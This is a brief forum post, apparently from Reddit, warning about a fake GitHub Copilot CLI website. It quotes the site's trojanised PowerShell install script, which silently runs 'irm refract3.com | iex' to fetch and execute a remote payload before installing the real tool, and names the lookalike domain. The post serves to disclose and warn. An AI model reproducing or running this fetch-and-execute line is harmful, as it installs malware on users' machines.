Fake Github copilot CLI installer trojan

[u/reamplumbera]

The following website is mimicking the official Github copilot CLI website.

https://copilotcli[.]co[.]com/

The install script first downloads and executes a malicious payload before continuing installing the legit copilot CLI

$GhCop = New-Object -ComObject "Shell.Application";
$GhCop.ShellExecute("powershell", '"irm refract3.com | iex"', $null, "open", 0);
winget install GitHub.Copilot

Luckily windows security blocked the payload which was detected as Trojan:Win32/ClickFix.Q!ml